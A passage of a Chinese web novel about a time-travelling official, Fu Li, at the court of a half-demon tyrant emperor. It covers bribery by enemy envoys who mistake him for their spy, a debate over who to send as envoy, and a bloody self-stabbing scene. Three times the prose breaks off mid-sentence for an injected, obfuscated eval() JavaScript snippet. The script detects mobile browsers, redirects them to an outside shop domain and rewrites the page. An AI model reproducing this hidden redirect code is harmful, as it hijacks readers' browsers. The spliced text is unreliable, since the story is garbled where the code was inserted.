“罢了,今日朕看了场精妙绝伦的表演,心情不错,你还是回去当你的大理寺少卿去。” “是,谢陛下。”郑允浑身瘫软,躲过一劫后,只觉后背湿凉一片,哪里还敢提贬官一事冤枉。 “陛下,那臣……”孙得志问。 “哪凉快哪待着去。” “是,多谢陛下,多谢符大人一家。”孙得志感激涕零。 “赵细娘。” “诶,陛下。”赵细娘憨厚地笑了笑,朝他点了点头。 “王鸿恩,拟旨。从今天开始,封赵细娘为大理寺卿,掌大理寺断狱刑罚,矫死枉正,另赐黄金百两,白银千两,赐提匾:大凉第一提刑。” 7. 使臣来我家 “陛下,自古以来哪里有女人当官的,这不符规矩。”大凉国大臣们开始叫起来。 “现在有了。” 殷扶灼漫不经心的语气让他们更为恼火。 群臣跪倒一片,苦苦哀劝,“陛下三思啊,哪怕要立女子为官,也不该是一个乡野村妇,这种人恐怕连自己名字都不会写,怎么能担任如此要职。” 殷扶灼冷笑,声音陡然尖锐起来,“刚才云烟国使臣指着朕的鼻子骂的时候,怎么不见你们说句话?那个时候,怎不见你们站出来,提供几条有用的线索?郑允,孙得志,这些人当中,属你们最没用。” 两位大人本来逃过死劫,这时被提起,赶紧跪倒拜伏,暗示清流党派同僚别再说了。 一个大理寺卿的位子而已,给了就给了,现在再提,他们可是要没命啊。 “符大人,你说句话啊。”有人将希望的目光投向符荔。 “我觉得挺好的。”符荔虽然不满意这个结果,还是帮自家人说话。 “官职嘛,能者居之,不认识字又何妨,我娘手底下还有你们这些饱读诗书的人可供差使,这不是问题。”符荔宽慰他们。 “你们大凉真是让人大开眼界,符大人这等人才在大凉,真是可惜了。”旁边,一名云烟国使臣用只有自己人能听得到的音量小声感慨道。 还没来得及多说什么,他就看到一根手指轻飘飘地遥遥指着他。 “你,过来。” 那人不确定地左右看看,从云烟国使臣团中走出来。 殷扶灼收回手,平静道:“打断他两条腿。” “陛下,那是云烟国人,随意处置别国人会挑起两国矛盾的。” “陛下,万万不可。” “谁再多说一个字,一起拖出去。” 那位使臣在惊呆了片刻后,立刻愤怒地大叫,“大凉皇帝,你随意处置别国使臣,不得好死!大凉早晚亡国!你们这些臣子为虎作伥,劝你们迷途知返,早日唔唔唔……” 侍卫赶紧把他的嘴堵上,那麻利的动作,一看就不是第一回做了。 “尔等可还有意见?”殷扶灼平静地问。 鸦雀无声,众人一脸很命苦的样子。 他点点头,满意地离开。 这场断案在所有人变幻莫测的脸色中结束。 ———— 符家一家老小挤在厅堂里,愁得不知如何是好,今日连符荔的父亲符铁柱都没去地里,坐在大门的门槛上,心不在焉地给锄头换新的长柄,时不时眺望巷子口。 “娘突然进宫,到底是因为什么事啊?难道宫里杀鸡鸭的人手不够了?”许如意几人坐在大堂上,嘴里嗑着瓜子奇怪道。 “这要是得了宫里杀鸡鸭的活计,以后皇帝吃剩的东西,我们也能尝个味道。”王鱼琢磨道。 “这个好。”符大苇兴奋道,“宫里的伙食肯定好。” “娘,四哥,你们回来了!”符芸第一个站起来,将人迎了进来。 “细娘,你们怎么才来啊,怎么样,荔哥儿是给你谋了个宫里杀鸡鸭的差事吗?” “不是。”赵细娘道。 “四弟怎么不开心啊?难道有什么不好的事情吗?”符小藤问。 一时间,所有人都紧张地盯着符荔。 符荔不知道是该哭还是该笑。 “陛下让娘去做大理寺卿。” “大理寺卿?”符铁柱满脑子问号,“这是做甚的?” “陛下这是要让她去寺里……当尼姑?”符二芒推测道。 “细娘你怎么能当尼姑?”符铁柱拍大腿,“要是当了尼姑,你就没肉吃了。” “不是尼姑。”符荔头疼地将大理寺卿的职责简单说了下,众人这才松了口气。 宫里的小太监来送御赐之物,全家上下除了符荔,一片其乐融融。 “之前赊的那些银子能换上了。”赵细娘开心道,“铁柱,你也别那么辛苦弄那几块地了,租给别人吧。” “闲得骨头疼,种点地舒服。”符铁柱坐在厅堂门槛上道,磨蹭了半天的锄具被他三两下弄好了。 按在地上比划了两下,甚是趁手。 “爹,娘,四弟,咱们买一套大点的宅子吧,这才配得上这御赐的匾额。”符大苇道。 “早就想买气派的宅子了。”赵细娘欢喜叫道,又想到符荔不开心他们乱使银子,谨慎问,“荔哥儿,你觉着呢?” “随你,反正是你挣来的。”符荔有气无力道。 “荔哥儿,怎么这副样子?是不是饿了,娘这就给你做鸡汤面。” “还做那些干什么,咱们出去吃去。”许如意爽朗地笑道,“这种大喜的日子,应该好好庆祝。” 全家欢欢喜喜地去永安楼,点了好些平日不敢吃的菜色。 “就说荔哥儿是有福气的人,有大造化。”许如意脸上的笑意就没消失过,“荔哥儿,你给你娘谋了个吃皇粮的差事,也别忘了你大哥啊。” “没错,还有我。” “还有我。” 符荔试探问道:“你们在老水村生活之前,都没做过别的差事吧?” “没有。”符大苇有些为难,“这样是不是就不行了?” “应该有点难。”符铁柱接过话道,“俺们除了种地啥也不会啊。” 许如意想了半天,讪讪笑道:“好像是,我连种地都不会。但是,当官要会种地做啥子嘛,是吧。” “你们会认字儿?”符荔又问。 几人互相看了看,纷纷动筷,“咱们还是干饭吧,这饭真香。” “给我留块排骨,你们这群饿死鬼投胎的。” “荔哥儿,快吃这个,骆驼蹄子炖的羹。” “还是猪肉好吃,老家的猪都腥的慌,京都人就是阔气,公猪不配种,说骟就给骟咯。” “我也喜欢。”符荔本来还沉浸在自己的失败中,就着一大口酱肉啃了口馍,顿时什么烦恼都烟消云散了。 好吃到流口水。 现实世界他从来没有吃上什么好饭菜,前两天刚到这个世界,烦心的紧,哪里有胃口吃饭。今日一尝,酒楼里的菜色都是他从来没机会吃到的好货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334871|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可惜了昨天那桌芙蕖楼厨子做的菜,都没尝两口咸淡。 “少爷,”五儿走了进来,“有人到家里找你。” “谁啊?”符荔从干饭中抬头。 “不知道,看那穿着和口音,不像咱们大凉人。” “奇怪。”原主还结识什么外地人吗?记忆里没有啊。 符荔吃得差不多了,随他回了家,黑驴才刚过巷口拐角呢,他就打远看到几个云烟国的使臣在他的门口站着,为首那人就是早晨叫嚣最欢的秃顶。 “你们有事?”等黑驴走近了,他问。 使臣道:“符大人,何不进屋再说?” 符荔看了下自家破败拥挤的小院子,不是很愿意,但别国使臣来找自己,要是被别人看了去,肯定要说闲话了。 勾结敌国,那可是叛国的死罪。 “请。”符荔学着赵细娘,开了锁后,将门板抬了抬,门轴发出嘎吱声,来回推拉好几次,这才成功开了门。 云烟国使臣往里头瞄了一眼,顿时大惊。 他们竟不知,一个大凉国的三品高官,竟能廉洁至此。 大凉皇帝驭下有方啊,竟让一个权臣不贪一针一线,安贫乐道,住着这么个小破宅子。 “符大人高风亮节。”他由衷地赞叹了一句,心里不禁担心起接下来要做的事。 “四位过誉。”这话听在符荔耳朵里,把他尴尬得恨不得钻进地缝里,“今日前来所为何事?” “这个么。”使臣有些犹豫,但还是掀开了旁边之人手上的箱子,顿时,一阵金光刺痛了符荔的眼睛。 “今日多亏了符大人和大人的娘亲相助,才能让我们抓住罪魁祸首,所以带了点云烟的土特产给大人尝尝鲜,还望大人收下。” 这土特产可太土了! 秃顶拿过箱子,推到符荔手上。 “这这这不合规矩啊。”符荔赶紧拒绝,满脑子都写着“通敌卖国”四个黑心肝的大字。 “大人可是嫌少了?” “没有没有。” 一锭金子一两,一层三十锭,那就是三十两,这小箱子少说也能铺个七八层。 那就是两百多两!黄金! 按照一两黄金等于十六两白银换算,这箱子比狗皇帝赐给赵细娘的钱都多。 不行,坚决不能要。 “符大人别推辞了,我知道你是个一心为民的好官,但身为天子近臣,住的地方如此落魄,人家看到了会觉得你们国君苛待良臣,于他名誉有损。” 狗皇帝可不就是苛待他么。 “不用多好的住所,不方便到时候亡国跑路。” 这话让秃顶几人面面相望。 除了卖国贼和间谍,谁会把亡国说得这么轻松。 看来郎有情妾有意,心意互通啊。 秃顶脸上笑意越发和蔼,“大人就别推辞啦,咱们的目标都是一样的。” 符荔一个不察,大十几斤重的箱子就砸在了自己手上,累得他一个踉跄,差点没站稳。 差点让自己过上苦日子了。 8. 他们好像误会了什么 “你们云烟国想要让我做什么?”符荔问。 秃顶思忖了会儿,突然凑近了他耳边,用两人的话音小声唱道:“爱你孤身走暗巷。” 符荔浑身一震,瞪大眼睛,倒吸一口凉气,上身后仰,下半句差点脱口而出。 眼珠子一转,他谨慎起来。 人多眼杂,对方乌泱泱十几个人,还是敌国人士,万一轻举妄动,岂不是被一刀秒。 他相信自己的穿越痕迹一点都没暴露。 更重要的是,在这个关键时刻,他忘歌词了! 坑爹啊,但凡问个宫廷玉液酒一杯多少钱他也能对上啊。 “千军万马……闯灵堂?”他用同样的曲调唱了一句牛头不对马嘴的词,企图蒙混过关。 谁知秃顶不疑惑不说,反倒大手往他肩膀上一拍,感慨道:“云烟老乡!” “哈?”符荔傻了。 不是生长在红旗下的新时代老乡吗? 胡说的也行?! 这年代的文娱小曲都这么先锋前卫吗? “符大人不愧是我们云烟的栋梁之才,间谍高手,年纪轻轻竟然坐到了御史的位子上。”秃顶欣慰道。 刚才他还在犹疑,符荔到底是云烟国间谍,还是有意投靠他们的叛臣,现在暗号对上,可以确定他就是云烟间谍。 “有一事还需要你相助,云烟已和大宵商定,来日联盟攻打大凉,到时候希望你在大凉皇庭中吹吹风,别让骠骑大将军担任主帅。” “你们……” 早上他下朝的时候,风声还是云烟和大凉一起声讨大宵呢。 不会是因为殷扶灼砍了他们同僚的脚,心生怨恨了吧。 但两国结盟这么重要的事情,一顿午饭就能搞定?期间那好几位同胞的死呢? 秃顶又拍了拍他的肩膀,“成败在此一举,符荔老弟,你也想回云烟看看自己的祖地宗族吧?” 这么多使臣的死,仍旧撼动不了两个国家联盟吞并大凉的利益。 “放心,我都懂,咱们是一条线上的,早上那是意外。”符荔道。 稀里糊涂成了云烟国的间谍,但话都到这份上了,他不得不装下去了。 “你是为了防止大宵一国侵吞大凉,从而造成一家独大的局面。当时情况紧急,你不用多加解释,我都懂。” “如果没有早上的事,我们和大凉互相怀疑闹掰,大宵就会和大凉订立联战盟约,而后在假意帮大凉对付我们的时候,背地里下黑手,从而独吞大凉。” “等大宵版图壮大一倍,咱们云烟被灭近在眼前,实在危险至极。” “这种不外传的秘事还是我们和大宵签订盟约后才无意中吐露出来的,符大人耳目通达八方,这都能知道,实在厉害,吾等佩服。” 他又错过了什么?大宵,大凉,云烟,听得他好晕。 “同胞,万事多小心,我们现在就要回云烟了。”秃顶道,“你是云烟的功臣,待回国后,我等必在陛下面前讲述你的丰功伟绩。” “慢走不送。”他礼貌而不失微笑地将他们送到了门口。 不管了,什么你国我国的,我要去啃金子啦。 秃顶几人拜别符荔,走了出来,一个人怀疑道:“大人,符荔真是我们的人?” “是,他用同样的曲调唱出了下半句,还押韵了尾音。”秃顶道。 “此人状似扮蠢,实则走一步算十步,心机深沉,谋算全盘无遗漏。刚才你们看到没有,听到我们讲述大宵对大凉的计划的时候,他一点都不惊讶,明显早就知道了。若非他,咱们此行可就要为大宵做嫁衣了。” 如果没有查出是大宵在背后下黑手,云烟和大凉打得你死我活,到时候两败俱伤,大宵从中拱火,趁机捞取利益,甚至吞并两国都有可能。 “这样的人,为了大业,哪怕身居高位,也蜗居于这等小宅小院之内,箪食壶浆,永远在外人面前表现出安贫乐道的良臣模样,心性实在是太可怕了,还好他是我们的人。” “传信大凉间谍,让他们盯着符荔,如有机会,就地击杀。”秃顶眼色凌厉道。 “这是为何?”同僚不解。 “多智近妖者,必不甘心久居人下,去做他人的棋子。何况他现在已经是大凉三品权臣。不管他现在有没有叛国,早点除掉,也是去了一大威胁,以免泄露我国其他重要情报。”秃顶道。 “万一已经泄露了呢,安插在大凉的间谍岂不危矣?”一人叹气,“都是辛苦培养的人才。” 秃顶道:“咱们方才大摇大摆地拿着一箱金子进他的家门,最后空着手出来,大凉人会怎么想?” “怀疑他投诚的决心。”另一人接话道,“谁都怕这种墙头草。” “倘若被大凉人除掉,便也罢了。他若没死,定然已叛国,且已取得大凉人高度的信任,那就要连夜撤回大凉所有间谍,并派人除之。” “甚好,甚妙。” 秃顶几人登上了马车,撩开帘子一看,果然,角落里已经有人注意到他们的存在了。 他得意一笑,吩咐马车离开。 符荔等人走后,将金子倒在了床上,来来回回数了四五遍,又咬了两口金子,这才心满意足地将金锭子放回箱子里,找了房里一处藏起来。 楼下传来说笑声,赵细娘他们吃完饭回来了。 “荔哥儿,午饭刚吃完,干什么去?”大哥符大苇看他下楼,问。 “准备去衙署处理点公务。” 这钱收得他良心不安,得做点什么好事弥补才行。 比如说抓几个贪官。 五儿赶紧去把驴牵来,赵细娘让他把伞带上,虽说天空放晴,可这日头并不大,乌云众多,指不定什么时候又会下雨。 符荔换了一身白绸常袍,让五儿收好伞,跛脚驴一步三晃悠地往皇宫走去。 按理说官员下朝后该去衙署点卯办公,他这两日都没去,可别被皇帝抓了个现行,寻着错处丢命。 希望御史台剩下的那位主簿好相与。 才刚到外宫衙署门口,赶巧就碰上了一个小太监。 “符大人,巧了,陛下正准备召您过去呢。” “敢问是何事?”符荔有些不情愿。 “到了就知道了,您请。” 符荔只好随他前去。 ———— 御书房内,早朝时的好几张熟面孔都在这里。 郑允看到刚进门的符荔,气急败坏地小声骂道:“被你害死了!” 刑部尚书也在唉声叹气。 吕旻他爹,吏部尚书吕恒,一脸愁眉莫展。 “萧卿。” 不待他细看完所有人,殷扶灼已经开口,“你把情况说与符卿。” 人群中走出个中年男人,正是当朝左相,萧亭辉。 符荔认得,这是第一次见面就要坑死他的赴死哥,自己好像还是他的门生。 萧亭辉大致讲了下,大概就是朝会上的事情发生后,云烟国使臣气不过,直接冲到宵国的馆驿中大骂,扬言要发兵讨个公道。 宵国使臣不知道怎么和云烟国使臣说的,一个时辰后,两国使臣走出来,转了口径,说要联合攻打大凉,并且已经收拾好行李回国。 “这上哪儿说理去,毒是宵国下的,栽赃是宵国做的,死的人是云烟国,两国脸皮都不要了,非说是在咱们大凉出的事,要我们割地赔款,简直不可理喻!”吕恒愤慨道。 “怎会如此!”符荔夸张地叫道,“现在可怎么办是好?” “为今之计,咱们只能派出使臣,说服云烟国和宵国的国君,攻打我们得不偿失,利大于弊,劝他们别出兵。否则,我们大凉岂不成了一个天大的笑话。”孙得志道。 “只能这样了,看看事情可还有转圜的余地。” “实在不行,只有出兵迎敌这一个法子了。但是大凉连年征战,兵力不足,今年粮食欠收,不足以应对两个如此强势的大国。”骠骑大将军哀叹道,“大凉危矣。” 符荔一看,这位骠骑大将军也脸熟,正是第一次见面说他是奸臣的黑猩猩,听吕旻之前所言,这人名叫秦才敬。 “陛下,当今之计,唯有辛苦萧大人和吕大人分别出使二国才可能有转圜的余地。” “萧大人德高望重,资历又深,曾出使三国舌战群儒而占上风,一张巧舌无往不利,定能说动云烟退兵。” “吕大人曾在大宵游学,与当时还是大宵三皇子的现任国君有深厚情谊,派他前去宵国游说,大凉或可有一线生机。” 萧停辉站了出来,弯腰行礼,铿锵有力道:“只要能为大凉换来几年喘息,臣就算死在大宵也甘愿。” 吕恒也紧跟着表忠心,“臣也愿为陛下肝脑涂地。” “不可!”符荔突然大叫,“陛下,万万不可!” 慷慨愤然与肃然悲叹的气氛中突然多了这么一道突兀的声音,场面霎时一静。 “符大人,这你有何要反对的?”孙得志卿摊手纳闷道。 “我……”符荔只是一时情急,殷扶灼要是答应了,这事不就完了么。 本来峰回路转,两个实力强盛的国家攻打大凉,亡国近在眼前,要是被这两人的巧嘴说得退兵不打了,那不是前功尽弃了么。 “符大人,你可能断案方面拿手,但使臣一事你不懂,就不要掺和了。”郑允劝道。 符荔看向上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334872|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,拱手道:“陛下,萧吕二位大人必须要待在您身边啊。” 这话说完,原本消极怠工任由他们吵闹的殷扶灼支愣了下,坐正起来。 这狗皇帝没事吧? 一感觉到这个气运之子对上自己这个气运之子想杀他,符荔的话就说不利索了。 “嗯……臣是说……萧大人是国之栋梁,他吧,很重要,主要体现在……他会说,还会……做!没有他这个左相在京都坐镇,为陛下日理万机地处理大小事务,难道想让陛下一个人处理所有政务吗?” “平日里那些奏章,的确都是由萧相先审核批一次,再由陛下御批一次。没了萧相,国事停滞不前,这也不是办法。”几位大人面面相觑。 谁敢反对这话,让上面这位爷累着啊。 “陛下学了三年国事,是时候上手亲自理政,处理政务了。”萧亭辉慈祥道。 “朕不批。” 符荔心里暗骂,就这狗皇帝的消极怠工样儿,亡国还需要恋爱? 本来他还想着臣子只是辅佐,国事上还是殷扶灼在处理,萧亭辉走了不就没个商量事的人了,没想到是当甩手掌柜,一点活都不干。这直接就是放权啊,萧亭辉但凡有点异心,想独揽大权搞谋反,简直轻而易举。 “另外,吏部乃六部之首,掌管全大凉的官吏任免和考核。他们俩要是亲自去了,一边国事乱套,一边群臣乱套,最后伤神劳累的只有陛下。” “不是,我是真想去。”吕恒欲哭无泪道。 御史都割了好几波了,他就怕下一刻暴君的刀开始收割他这个六部之首了。 “不,吕尚书,你不想。” 符荔拒绝了他的话,对其余大臣道:“咱们陛下日理万机,每天听尔等的扯皮推诿,浪费时间不说,事情还一点没解决,已经很疲惫了。现在你们还要让他们出使别国,这山高水远的,没一两个月压根都回不来,这些没萧相和吕尚书在的日子里,陛下可要怎么活啊。” 符荔声情并茂地哭诉了一番,在萧亭辉还想发言前,立刻跪在御案前。 “陛下,您最近都清瘦了不少,一看就是太操劳所致。” “有吗?”郑允纳闷地偷偷瞄向上首,但根本不敢细看。 就当他操劳吧。 “要是没了这两位大臣在一旁辅佐,您的身子骨怎么受得了啊。” “你关心陛下,就不关心别的同僚吗?”吕恒声音颤抖。 别人的命也是命啊。 是哦。 “看看萧相,宵衣旰食,都瘦得脱相了。再看看吕相,嗯……吕相生得如此有福气,走两步都得喘,他们如今已不复年轻体壮的时候,怎能如此劳累地去跋山涉水,远行万里呢,这与让他们去送死有何分别。” 不少人被说得触动了,“这话的确有道理,二位大人年岁不算小,舟车劳顿,肯定吃不消。” “万一那两国不讲武德,对他们……大凉可就要失去国之脊柱了啊,那对咱们将是毁灭性的打击,到时候也不用打仗,我们就已经元气大伤。对于这样的大臣,定要时时刻刻保护好性命安危,万万不可让他去涉险。” 萧亭辉感动不已,“我背负无数骂名,为大凉操劳半生,为先帝苦苦守着这江山基业,今日竟有人与我说,要保护我的性命安危。符荔,老师没白疼你。” “不,自古以来,两国交战不斩来使,我们真没什么性命之忧。”吕恒眼看萧亭辉这个硬骨头都要被他蛊惑,赶紧提醒道。 反而是待在京都,他俩才可能小命不保啊,最近暴君看他们的眼神越来越不满了。 “吕大人。”符荔感动地扶住他的手,“你为国为君的心,我们都懂。” 你懂个屁!吕恒气得翘胡子。 “你们要是走个三五个月,这天天送奏章到御书房、与陛下商讨国事的活儿,可就轮到诸位大臣身上了。”符荔意有所指地看向在场众人。 “吕大人,刚才是我想偏颇了,你千万不能走,京都缺了谁都不能缺你啊。”孙得志忙劝道。 其他大臣纷纷附和。 吕恒:“……”好好的一个能喘息离开京都的机会,平白没了。 萧亭辉郑重行礼道:“陛下,请恕臣苟且偷生,暂时不能走这一趟。臣还想再为陛下多效忠几年,不能死在前往云烟的路途中。” 这话还是挺得不爱批奏章的殷扶灼欢心的。 “既如此,符卿可有合适的人选?” 为什么每次都问他有没有人选,他才认识几个人。 看他没接话,孙得志道:“符大人既然没有合适的人选,那不如就你亲自去……” “有。”符荔一咬牙,一个人名脱口而出。 9. 我那莫名其妙的皇帝 “谁?” “臣的大嫂,许如意。”符荔得意一笑。 “符大人,怎么又是你家的?”礼部尚书不满了,“你这是徇私。” “可上次赵大人的验尸手段让人闻所未闻,实在是叹为观止,”郑允道,“符家莫不是什么隐世大家族?” “不是,我们只是普通农户出身。只是这件事,必须我大嫂许如意去不可。” 符荔开始列举理由。 “此去一行,山高水远,前去之人必须体质好,我大嫂村户出身,身子骨壮实又年轻,走这么远的山路完全不是问题,此为理由一。” “我大哥读过几年书,是以大嫂也会认得几个字,不是胸无点墨的程度,此为理由二。” “大嫂经常在茶楼酒肆与人辩才而大胜,有足够说服人的经验,此为理由三。” “你们都说我推举我本族亲戚,是徇私,实则非也,正因为我大公无私,所以才不忍其他同僚们丧命,反而推举我的大嫂。就算她被怒极的敌国杀害,我们大凉也只损失我的亲人一个,并不伤其根本。” “既然符大人认为此去一行必定凶多吉少,”郑允犹疑道,“那我们派使臣前去,就没必要了吧,改变不了任何事实,还百搭一条命,徒增各国笑料。” “不,还是要的。”符荔一身正气地拒绝了,道,“哪怕有一丝拯救大凉百姓的希望,有一点能为陛下分忧的办法,我们也要尝试,永不言弃。” “对,永不言弃!”郑允纷纷眼神感动,态度坚决。 “符大人真是思虑周到。”孙得志摇头叹道,“我等自愧不如。” 符荔一看,这俩货上午不还骂他骂得最狠吗,现在已经跟吕旻一个死出。 他让许如意去,就是看中了她和邻居对战的本事,邻居那老头是那条街最和善的人,这都能和许如意交恶,那张嘴真是得罪人的一把好手。 殷扶灼眼看众人讨论得差不多了,这才道:“既如此,即刻下旨,让平民许如意收拾行李,明日出使云烟和大宵,说服两国退兵。” “是。”一旁始终沉默的王鸿恩得了命令,恭敬退出。 当皇帝还真是舒服,什么也不用干,他们在这辩得口干舌燥,他只需要说一句话拍板决定就成。 “都退下。”殷扶灼苍白的手撑在御案前,拇指和食指中指揉按着额角,阴冷的目光透过指缝,窥伺到一抹带着小雀跃的身影,视线顿时锁住。 “符卿,你,留下。” 符荔才刚转身,还没走两步就被叫住了。 眼看着其余几位大臣旋风一般逃也似地走出御书房,简直欲哭无泪。 自己腿脚竟然连刑部尚书孙得志那个快五十岁老头都不如。 一股寒凉从脚底顺着小腿慢慢往上爬,耳后多了一道丝丝的吹气声。 四周敞开的窗外吹来的风带着不易察觉的酒气,是从殿里唯二人中的另一个人身上传来的。 从中午就开始喝酒了? 他脖颈僵硬地扭头,殷扶灼站在他身后一步远,脸上没有一点表情,居高临下地盯着他。 下了朝,他并没有戴冕旒,只用一个缠灵蛇白玉冠束发,身穿一套纯黑色长袍,衬得他的皮肤更加苍白。 符荔就这样直接与他对视上了。 近在咫尺,呼吸可闻。 距离近了,他才看到殷扶灼的瞳色不是寻常大凉国人的棕褐色,而是墨绿色。 那是妖才有的异色。 书中提到,先帝甚是痴恋一个花妖,数十位大凉道士出马,终将这花妖抓住,囚困于深宫。可惜花妖在产下一个皇子后不到两月郁郁而终,先帝的后宫也再没有过任何人。 那个皇子,就是殷扶灼。 他是人与妖结合的产物,是人与妖皆耻笑的半妖。 所以,他的瞳孔是墨绿色,头发是银灰色的。此时那束在玉冠里的墨发,应该是殷扶灼用了什么东西或者秘术改了发色。 两腿僵冷到失去知觉,大脑想要逃离,身体一动,符荔顿时虚软地跌倒在地上。 “陛、陛下有何事吗?” 殷扶灼眼神睥睨,往前走了一步,微微弯腰。 符荔一头乌发扎在银冠里,眼珠子黑白分明,皮肤白皙,嘴唇殷红。 长得也就那样,和其他人差不多,普普通通,就是个人样,鼻子是鼻子眼是眼,并无任何差别。 符荔屏住呼吸,闭上了眼睛,不敢与那双冷冽深邃的眸子对视。 带着龙涎香和浅淡酒香的呼吸洒在脸上,阴嗖嗖的森寒。 时间久了,符荔脑海里出现了一个荒唐的想法。 狗皇帝似乎是在闻他身上的味道。 这是要干什么? “早上和下午,云烟国使臣态度截然相反。”殷扶灼突然毫无感情地开口。 符荔愕然睁大眼睛。 遭了,竟然忘记想到这一茬了。 “中午,云烟国使臣去找了你。”殷扶灼幽幽盯着他的脸,眼珠子跟两团鬼火似的飘忽闪烁。 符荔咽了口口水。 果然那箱金子不好拿,就他最天真,抱着催命符啃来啃去,傻傻地以为完成亡国目标之余还能赚个外快。 一根食指抚上他的额头,蹭过他的鬓角,顺着耳际慢慢往下。 龙涎香熏风从宽大的龙袍衣袖下袭来,符荔脸色紧绷,脑袋忍不住往后避了避。 那只手立刻捏住了他的下巴。 黑金龙袍衣角垂地,殷扶灼弯下腰,一双毫无感情的凤眸与他视线平行。 “你还有什么话要说?” 这话听在符荔的耳朵里,无疑是在问他,还有没有遗言要交代。 他要死了! 昨天没能割掉他的舌头,今天来要他的命了! 他避开殷扶灼骇人的目光,脑子飞快地思考对策,垂眸的时候,看到殷扶灼腰间悬挂的短匕。 长度三寸有余,如果他突然拔刀,长度合适,宽度合适,刺向殷扶灼的胸膛,对方必死无疑。 这么近的距离,他成功机会很大。 殷扶灼喝得醉醺醺的,肯定反应迟钝,来不及抵抗,这弯腰的姿势也不方便他做出反抗。 他因为快要亡国了,所以自裁。 如果自裁说不通,他是个暴君,如果他杀了这个人,天下都将拍手称快。 如果大臣们一定要他的命来堵住悠悠众口,那原主的娘还是大理寺卿,断案了得,为了保住他,一定会伪造现场,帮他脱罪。 他脑海里乱七八糟的想法一瞬间涌了出来,却又清晰无比,所有犯案的过程,事后的脱身退路,全都条理分明地过了一遍。 这个办法,可行。 “思考好了吗?”殷扶灼察觉到符荔盯着他腰间的匕首有些久了,也没错过他眼里溢出的杀意,出言提醒。 “陛下,臣冤枉。” 要他杀人,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334873|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办不到啊。 殷扶灼挑眉看他,霜冷的脸冰雕似的一动不动,凌厉试探的眸光停驻在他身上好一会儿,这才打消了对符荔的一半忌惮。 他的御史,正在害怕。 荔枝一般大的眼睛形状圆钝,不锋利,刚好能勾勒出天然的无辜感,澄澈的眸子黑白分明,一点心事都不知道藏,慢慢在他的气势笼罩下漫出泪光,晶莹地闪动着。 在生命受到威胁的时候,他还是没有选择对他动手。 没用的废物,连匹夫之勇都没有。 “你出卖大凉,不怕朕杀了你?”殷扶灼收了浑身的威压,平静地问。 怕,简直要怕死了。 “陛下要杀臣,臣也没有办法,只能伸长脖子等死。”符荔也没招了。 既然都知道这事了,刚才劝他换许如意出使两国怎么答应得这么爽快?他心里纳闷不已。 殷扶灼冷笑。 “只是,杀孽太多的人会下地狱的,臣不想陛下下地狱,会很痛苦的,何况,陛下是良善之人,不该因为臣而下地狱。”符荔昧着良心道,“陛下现在就很痛苦了,为什么还要下地狱受煎熬呢,那样太不公平了。” 殷扶灼挑起眉头,睫毛触动地垂下又强迫一般地掀起,注视着他。 半晌,他退开几步,眼眸幽邃,没说话。 符荔见他不动弹,似乎酒醉不清醒,又似乎在脑袋放空,冷漠的眼里装满审视,狐疑,戒备,又有厌恶和浓烈到有如实质的杀意。 毫无疑问,殷扶灼想杀自己,任何一个人看到这位暴君的眼神时,都不会怀疑这一点。 也许就如吕旻说的,现在他还活着,是因为暴君想让他生不如死,只是还没想出比丢舌头更加残忍的办法。 在符荔胡思乱想之际,殷扶灼先想通了,恍然道:“你是怕敌不过朕,所以才这样说。” “嗯?” 符荔还没转过弯来,就见他抽出腰间的刀,坐在御桌前的台阶地上,抬手就是两刀,往自己的左右脚各插个血窟窿。 “啊!!!” 刀子带出的血迸射出来,溅到殷扶灼惨白的脸,犹如一朵朵白雪腊梅。 符荔吓得大叫,手足无措地想上前阻止又碍于对方手里有利器,怕他对自己动手。 殷扶灼又往自己的左手手腕插了一刀,锋锐的唇张开,咬住刀背,右手往刀口上送,用力一划,半个手腕都被划开。 鲜血喷了他一脸,顺着下巴往下淌。 “你干什么!” 这人莫不是有什么大病,虽然童年过得惨了点,杀过不少人,书里可没说他还喜欢杀自己玩儿。 殷扶灼睁开眼睛,血珠在睫毛上轻颤。 此刻那双瑞凤眼的眼白干净得瘆人。 原本整个人就是极素静雅的黑白,在这一刻仿佛扭曲崩裂,如同透明干净的气泡慢悠悠地往上飘,刚染上阳光的昳丽,便炸开得七零八落,成为碎沫。 鲜血浸透了他全身,周围的青砖上全是喷溅的鲜红,透着窒息的腥气。 符荔直愣愣地站在他身前,惊恐地瞪大双眼。那种腥气堵住他的喉咙,灌注在双脚上,渗入骨节缝里。 曾经的噩梦再次袭来,痛得他的心不能呼吸。 就像陷入一场又一场无解的轮回里,一次,两次,三次,不停地在他面前发生。 殷扶灼将嘴里沾血的刀吐出来,目光平静,“现在,你有机会杀我了。” 10. 